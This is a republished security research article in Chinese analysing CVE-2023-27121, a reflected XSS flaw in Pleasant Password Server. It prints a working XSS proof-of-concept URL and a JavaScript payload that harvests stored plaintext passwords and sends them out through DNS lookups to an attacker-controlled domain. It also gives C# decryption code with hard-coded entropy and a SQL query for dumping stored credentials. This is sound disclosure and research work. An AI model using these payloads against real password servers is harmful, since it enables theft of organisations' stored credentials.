前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2023-27121漏洞分析:Pleasant Password Manager的XSS漏洞导致凭证泄露

CVE-2023-27121漏洞分析:Pleasant Password Manager的XSS漏洞导致凭证泄露

作者头像
FB客服
发布2023-10-06 13:56:32
3020
发布2023-10-06 13:56:32
举报
文章被收录于专栏:FreeBuf
漏洞概述

在近期的一次安全模拟测试任务中,MDSec ActiveBreach红队研究人员需要对目标组织所采用的密码管理器解决方案的安全性进行审计和测试,其关键目标是入侵并获取存储的凭证信息。

为此,研究人员对该组织所采用的密码管理解决方案(Pleasant Password Server)进行了详细分析,并成功从中发现了一个反射型跨站脚本漏洞,即CVE-2023-27121,而该漏洞将导致存储的密码发生泄漏。

CVE-2023-27121:利用Pleasant Password Manager中的XSS漏洞实现凭证泄漏

在对其门户网站进行了简单浏览并分析相关HTTP请求之后,我们在日志中发现了一个有趣的节点:

代码语言:javascript
复制
https://127.0.0.1:10001/framework/cron/action/humanize?cronString=<cron expression>

(向右滑动,查看更多)

这个节点可以将cron表达式转换为人类可读的字符串,最重要的是,cronString参数中的内容似乎没有经过足够的过滤清洗(只允许cron表达式中预期的特定字符),并且响应信息会直接返回给发起请求的用户。

除此之外,我们甚至可以在未经过身份验证的情况下访问该节点,这样就可以允许我们检测易受攻击的实例了。

在下面的XSS PoC例子中,我们将验证该漏洞的有效性,并将任意JavaScript代码注入到应用程序的响应中,从而控制浏览器打开“打印”对话框:

代码语言:javascript
复制
https://127.0.0.1:10001/framework/cron/action/humanize?cronString=0+0+1+/%3Csvg%0Conload=print()%3E+*+SAT+*

(向右滑动,查看更多)

验证该漏洞之后,我们便尝试利用该漏洞来从目标服务器中提取凭证数据。根据我们的分析,在利用该漏洞并制作Payload之前,我们还会受到一下限制:

1、我们不能在最终的Payload中使用空格或引号,否则无法满足cron表达式的预期格式; 2、我们的Payload空间有限,完整的URL需要保持在2100个字符以内; 3、由于内容安全策略(CSP)的限制,我们无法获取外部JS资源; 4、不支持跨域资源共享(CORS);

在得知上述信息之后,我们创建了如下所示的测试Payload:

代码语言:javascript
复制
var H='HTTPS://',U=H+'LOCALHOST:10001/WEBCLIENT/',M='MAIN/',C='CREDENTIAL',E = new TextEncoder(),Y = () => E.encode('T'),Q = (B) => new Uint8Array(E.encode(unescape(encodeURIComponent(B)))),T = (B) => Array.from(Q(B).map((C, I) => C ^ Y()[I % Y().length]), V => `0${(V & 0xFF).toString(16)}`.slice(-2)).join('');

fetch(U + M + 'GETTREE').then(R => R.json().then(F => F.forEach(F => fetch(U+C+'LISTGRID/SELECT?'+C+'GROUPID='+F.id,{method:'POST'}).then((R)=>{return R.json()}).then((D)=>{D['Data'].forEach(L=K=>fetch(U+M+'COPYPASSWORDPOPUP?'+C+'ID='+K.Id).then((R)=>{return R.json()}).then((D)=>{fetch(H+T(K.Username)+"."+T(D.response)+'.1EAK.NET')}))}))));
代码语言:javascript
复制

(向右滑动,查看更多)

这个Payload将会执行下列操作:

1、通过向/WEBCLIENT/MAIN/GETTREE节点发送一个GET请求来枚举“root”文件夹的ID; 2、向/WEBCLIENT/CREDENTIALLISTGRID/SELECT?CREDENTIALGROUPID=<ID>发送一个POST请求,以JSON数组的形式获取“root”文件夹中所有的用户名以及对应的密码; 3、拿到所有的用户名和对应的密码之后,向/WEBCLIENT/MAIN/COPYPASSWORDPOPUP?CREDENTIALID=<ID>发送一个GET请求,并获取明文凭证; 4、使用给定的密钥对用户名和密码进行XOR编码; 5、对结果值进行Hex编码(安全传输起见); 6、向攻击者控制的域名发送GET请求,请求虽然会失败,但DNS查询中会包含编码后的凭证数据;

考虑到字符限制,我们对Payload进行了字符编码以便在运行时通过eval(StringfromCharCode())来恢复原始数据。下面给出的是修改后的PoC:

代码语言:javascript
复制
https://127.0.0.1:10001/framework/cron/action/humanize?cronString=0+0+1+/%3Csvg%0Conload=eval(StringfromCharCode(<CHAR PAYLOAD>))%3E+*+SAT+*
代码语言:javascript
复制

(向右滑动,查看更多)

生成的XSS Payload如下:

准备好特制的URL之后,我们就可以将其发送给目标设备了,下面的例子我们将在实验环境中演示:

我们可以看到,编码后的凭证数据以DNS查询的形式记录在了我们的nameserver中:

最后,我们就可以解码泄漏的凭证并拿到明文凭证了:

另一种恢复凭证的技术

从身份验证的角度来看,我们打算看看如果运行服务的主机受到攻击的话,提取凭证的难度到底有多大。

针对敏感数据的存储,Pleasant Password Server支持使用下列数据库:

1、SQLite 2、MSSQL 3、PostgreSQL

解密存储在注册表中的连接字符串

对已安装的解决方案进行了简单分析之后,我们发现了存储在注册表中的后端数据库连接字符串(尽管该字符串已加密):

代码语言:javascript
复制
HKLM\SOFTWARE\Pleasant Solutions\PasswordManager\DatabaseConnectionString

(向右滑动,查看更多)

进一步分析后,我们在下列位置发现了与解密连接字符串相关的逻辑:

DLL:C:\Program Files (x86)\Pleasant Solutions\Pleasant Password Server\www\bin\PassMan.Configuration.dll 命名空间:PassMan.Configuration 类:DbConfigurationStore 方法:MigrateRegistryConnectionString

这样一来,我们就知道了连接字符串使用的是数据保护API(DPAPI)进行加密的,并使用了额外的熵,然后在Constants类中进行硬编码:

这样一来,通过系统访问,我们将能够在目标主机上作为管理员用户来运行一个简单的解密程序来检索明文连接字符串:

代码语言:javascript
复制
static string DecryptRegKey(string encryptedConnectionString)

        {

            byte[] additionalEntropy = { 0x9D, 0x38, 0x4A, 0xB6, 0x2D, 0x0E, 0x4E, 0x2F, 0x5A, 0x66, 0x44, 0x7B, 0x7A, 0x3E, 0x30, 0x69 };

            try

            {

                return Encoding.ASCII.GetString(ProtectedData.Unprotect(Convert.FromBase64String(encryptedConnectionString), additionalEntropy, DataProtectionScope.LocalMachine));

            }

            catch (Exception ex)

            {

                Console.WriteLine("[X] Something went wrong: " + ex);

                Console.WriteLine("[X] Has AdditionalEntropy changed? Check PassMan.Configuration.dll Constants...");

                return null;

            }

        }
(向右滑动,查看更多)

有了这个连接字符串,我们就可以连接到后端数据库了。以下示例用于枚举MSSQL部署中的凭据集合:

代码语言:javascript
复制
SELECT Name,Username,Password FROM dbo.CredentialObject;
代码语言:javascript
复制

不出所料,Password字段中的所有值都是加密的。

解密存储在数据库中的密码

深入分析后,我们发现了一个硬编码的字符串,它是所有加密程序(类)所使用的密钥:

DLL:C:\Program Files (x86)\Pleasant Solutions\Pleasant Password Server\www\bin\Pleasant.dll 命名空间:Pleasant.Security 类:Obfuscation

除此之外,我们还识别出了负责处理数据库存储密码加密/解密的函数方法:

DLL: C:\Program Files (x86)\Pleasant Solutions\Pleasant Password Server\www\bin\Pleasant.dll 命名空间:Pleasant.Security 类:Encryption

收集到所有必要的信息之后,我们就可以实现下列操作了:

1、识别并连接到后端数据库; 2、提取所有的用户名和密码; 3、根据识别的逻辑解密密码;

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2023-10-03 09:30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 在近期的一次安全模拟测试任务中,MDSec ActiveBreach红队研究人员需要对目标组织所采用的密码管理器解决方案的安全性进行审计和测试,其关键目标是入侵并获取存储的凭证信息。
  • 在对其门户网站进行了简单浏览并分析相关HTTP请求之后,我们在日志中发现了一个有趣的节点:
    • (向右滑动,查看更多)
      • (向右滑动,查看更多)
        • (向右滑动,查看更多)
          • (向右滑动,查看更多)
          • 从身份验证的角度来看,我们打算看看如果运行服务的主机受到攻击的话,提取凭证的难度到底有多大。
            • 解密存储在注册表中的连接字符串
              • (向右滑动,查看更多)
                • 解密存储在数据库中的密码
                相关产品与服务
                对象存储
                对象存储(Cloud Object Storage,COS)是由腾讯云推出的无目录层次结构、无数据格式限制,可容纳海量数据且支持 HTTP/HTTPS 协议访问的分布式存储服务。腾讯云 COS 的存储桶空间无容量上限,无需分区管理,适用于 CDN 数据分发、数据万象处理或大数据计算与分析的数据湖等多种场景。
                领券
                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档